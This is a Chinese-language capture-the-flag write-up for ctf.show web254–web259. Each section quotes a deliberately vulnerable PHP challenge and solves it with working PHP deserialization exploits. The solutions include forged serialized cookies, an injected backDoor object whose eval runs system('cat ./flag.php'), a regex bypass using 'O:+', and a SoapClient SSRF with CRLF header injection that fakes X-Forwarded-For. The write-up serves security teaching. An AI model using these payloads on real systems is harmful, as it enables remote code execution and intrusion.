web254
查看一下源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
本题的过关思路非常明确,只要采用get方式传入username和password即可
http://e1a42de1-2eea-4e60-8e59-6195fa9e579e.challenge.ctf.show/?username=xxxxxx&&password=xxxxxx
web255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
由此我们可以清楚的知道解题思路:
利用cookie传入我们构造好的序列化对象,通过get传入username和password即可
1 2 3 4 5
| <?php class ctfShowUser{ public $isVip=true; } echo urlencode(serialize(new ctfShowUser()));
|
url: http://7d0b2d32-8a9e-407a-8ff1-7f9b79c1ddf5.challenge.ctf.show/?username=xxxxxx&&password=xxxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
反序列化的宗旨就是通过类内的属性来改变类的方法。
利用cookie传入我们构造好的序列化对象,更改username与password的值即可,通过get传入我们设定好的username和password即可
1 2 3 4 5 6 7 8
| <?php class ctfShowUser{ public $username='1'; public $password='2'; public $isVip=true; } echo urlencode(serialize(new ctfShowUser()));
|
cookie: O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
url: http://802701c6-6546-4367-9b0e-49693c504b80.challenge.ctf.show/?username=1&&password=2
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
分析:
更改ctfShowUser中的__construct()函数时期new一个 backDoor对象,将$code变量改为我们输入指令即可
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class ctfShowUser{ public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code = 'system("cat ./flag.php");'; } $user = new ctfShowUser(); echo(urlencode(serialize($user))); ?>
|
cookie:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%22cat+.%2Fflag.php%22%29%3B%22%3B%7D%7D
url: ?username=xxxxxx&&password=xxxxxx
web258
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
思路:
采用将O:转换为O:+
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class ctfShowUser{ public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code = 'system("cat ./flag.php");'; } $user = new ctfShowUser(); $a = serialize($user); $a = str_replace('O:','O:+',$a); echo(urlencode($a)); ?>
|
cookie:O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%22cat+.%2Fflag.php%22%29%3B%22%3B%7D%7D
web259
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
|
1 2 3 4 5 6 7 8
| <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
|
1.某个实例化的类,如果调用了一个不存在的函数会去调用__call魔术方法__call会发送一个请求
2.CRLF \r\n
3.POST数据提交最常用类型Content-Type:
application/x-www-form-urlencoded
通过分析源码,我们可以发现要想得到flag,得需要伪造IP和Token
1 2 3 4
| <?php $client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999")); $client->getFlag(); ?>
|
以下是监听得到的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| C:\Users\HP>nc -lvp 9999 listening on [any] 9999 ... connect to [127.0.0.1] from LAPTOP-95PCOPS4 [127.0.0.1] 61662 POST / HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: PHP-SOAP/5.4.45 Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#getFlag" Content-Length: 376
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="127.0.0.1" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getFlag/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
从上面可以看到, SOAPAction 处是我们的可控参数,UA处也是我们可控的变量,因此我们可以尝试注入我们自己恶意构造的CRLF即插入\r\n
由此我们构造以下代码:
1 2 3 4 5
| <?php $ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999",'user_agent'=>$ua)); $client->getFlag(); ?>
|
以下是我们监听的到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
C:\Users\HP>nc -lvp 9999 listening on [any] 9999 ... connect to [127.0.0.1] from LAPTOP-95PCOPS4 [127.0.0.1] 62473 POST / HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: ctfshow x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1 Content-Type:application/x-www-form-urlencoded Content-Length:13
token=ctfshow Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#getFlag" Content-Length: 376
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="127.0.0.1" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getFlag/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
这里token=ctfshow 长度为13 而且为post提交
下方的 因为length限制不会被识别
这里ip因为被pop了两次以,分割所以最后只剩了127.0.0.1
绕过了flag.php
构造payload
1 2 3 4 5 6
| <?php $ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); echo urlencode(serialize($client)) ?>
|
1
| O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContentLength%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
|